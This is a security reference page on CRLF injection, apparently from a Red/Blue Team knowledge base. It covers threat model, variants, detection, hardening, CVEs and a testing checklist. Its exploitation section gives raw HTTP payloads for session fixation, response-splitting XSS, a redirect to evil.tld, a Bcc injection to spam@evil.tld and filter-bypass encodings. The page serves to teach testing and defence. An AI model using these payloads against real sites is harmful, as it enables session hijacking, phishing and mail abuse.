CRLF injection
CRLF are the carriage-return and line-feed characters (\r\n, in URL %0d%0a) that
separate headers and lines in text protocols like HTTP and SMTP. If an app reflects user
input into a response header, an email or a log without filtering those
characters, the attacker injects new lines and with them fake headers, body or entries.
The invariant the attack breaks is the structural data/control separation: in these
protocols, the end of line is the delimiter.
flowchart LR
A[Attacker] -->|"param = value%0d%0aSet-Cookie: ..."| APP["App (builds the header by hand)"]
APP -->|"writes CR LF unfiltered"| H["HTTP response with injected headers/body"]
H -->|"browser / cache interprets them"| V["Victim: fixated cookie, XSS or redirect"]
Threat model
Section titled “Threat model”- HTTP response splitting: inject headers (
Set-Cookiefor session fixation,Locationto redirect) or a second response body. - XSS via body injection in the response (once the headers are closed).
- Web cache poisoning (poison the cached response; see cache).
- Email header injection: in contact forms, inject
Bcc:/To:to send spam or divert mail. - Log injection/forging: falsify or break log entries (hide tracks, inject misleading data, or payloads toward systems that process the logs).
Anatomy
Section titled “Anatomy”It enters where user input ends up in a header or a line of a text protocol:
parameters reflected in Location (parameter-based redirects), Set-Cookie, custom
headers, email headers, or log files. The key is that %0d%0a is not filtered before
writing the header/line. A single CRLF adds a header; a double CRLF
(%0d%0a%0d%0a) closes the header area and opens the body, which is what turns the
split into XSS.
Most modern runtimes (Node’s HTTP module, Go, Java, PHP header()) already reject CR/LF
in header values. The flaw survives in code that builds the response by hand, in
intermediate proxies/CDNs, and in the email and log contexts, where filtering is
usually missing.
Variants
Section titled “Variants”- Response header injection — one extra header (
Set-Cookie,Location). - Response splitting → body/XSS — double CRLF to inject a controlled body.
- Request splitting / smuggling — CRLF toward a back-end via parsing differences (overlaps with request smuggling).
- Email header injection — in the
From/Subject/name of a mail form. - Log forging — breaking the log structure to falsify events.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Find parameters whose value appears in a response header (especially Location in
parameter-based redirects and Set-Cookie). Inject a CRLF with a sentinel header and see
whether it appears separated in the response.
GET /redirect?url=https://x%0d%0aX-Injected:%20pwn HTTP/1.1Host: victim.tld
HTTP/1.1 302 FoundLocation: https://xX-Injected: pwn <- if it appears as its own header, there's CRLF injectionExploitation — PoC per scenario
Section titled “Exploitation — PoC per scenario”Cookie/header injection in a parameter-based redirect (session fixation):
GET /redirect?url=https://x%0d%0aSet-Cookie:%20sid=attacker%3b%20Path=/ HTTP/1.1Host: victim.tldResponse splitting to a controlled body (double CRLF closes the headers) → XSS:
GET /q?lang=en%0d%0a%0d%0a<svg%20onload=alert(document.domain)> HTTP/1.1Host: victim.tldForced redirect (phishing with a legit domain; overlaps with open redirect):
GET /set?lang=en%0d%0aLocation:%20https://evil.tld HTTP/1.1Host: victim.tldEmail header injection in a contact form (adding a Bcc):
POST /contact HTTP/1.1Host: victim.tldContent-Type: application/x-www-form-urlencoded
name=joe%0d%0aBcc:%20spam@evil.tld&message=hiEncoding variants
Section titled “Encoding variants”If the filter only blocks literal %0d%0a, try equivalents:
# standard CRLF and uppercase%0d%0a %0D%0A# LF only or CR only (some parsers accept them)%0a %0d# overlong/unicode some stacks normalize to CR/LF%E5%98%8A%E5%98%8DResearcher workflow
Section titled “Researcher workflow”- Locate the sink (reflected header, email, log).
- Inject a sentinel header with
%0d%0aand confirm it in the raw response. - Escalate:
Set-Cookie(fixation), double CRLF → body/XSS, orLocation→ redirect. - If it enters cache, evaluate cache poisoning; if it’s email, the
Bcc.
Tooling
Section titled “Tooling”Burp Suite (inject %0d%0a in parameters/headers and read the raw response), and fuzzing
with the PayloadsAllTheThings CRLF lists.
Impact and chaining
Section titled “Impact and chaining”Session fixation → ATO; split → reflected XSS; Location → phishing; cache entry →
massive cache poisoning; Bcc → email exfiltration. One vulnerable parameter often
allows several of these at once.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”Input with %0d%0a/\r\n reflected in headers; duplicate or unexpected headers in
responses; Set-Cookie/Location with parameter-controlled values; log lines with broken
structure.
Telemetry and sources
Section titled “Telemetry and sources”WAF with header inspection, server/app logs with the built header, and log integrity validation.
Hardening
Section titled “Hardening”- Strip/escape CR and LF from any input going to a header, an email or a log.
- Don’t put user input in headers; use framework APIs that already reject CRLF in headers (most modern runtimes do).
- For email, use libraries that separate headers from body and sanitize fields.
- Validate/normalize and encode before logging (avoid log injection).
Response
Section titled “Response”Fix the header/email/log construction, purge poisoned caches, and invalidate injected cookies (fixation).
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Python
urllib/urllib2— CVE-2019-9740 / CVE-2019-9947 — CRLF injection via the URL (host/path) allowing header injection into the outbound request. - Python
httplib— CVE-2016-5699 — CRLF in the HTTP request builder. - Historically, HTTP response splitting / CRLF affected numerous proxies and frameworks; today many runtimes block CRLF in headers, but it still appears in code that builds headers by hand, in email forms without sanitization and in logging systems (log forging).
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”-
%0d%0ainjection in parameters going toLocation/Set-Cookie(sentinel header). - Response splitting (extra header / body / XSS with double CRLF).
- Email header injection in contact forms (
Bcc:). - Log injection if input ends in logs.
- CRLF encoding variants tested (
%0a,%0d, unicode). - Cache poisoning evaluated if the response is cached.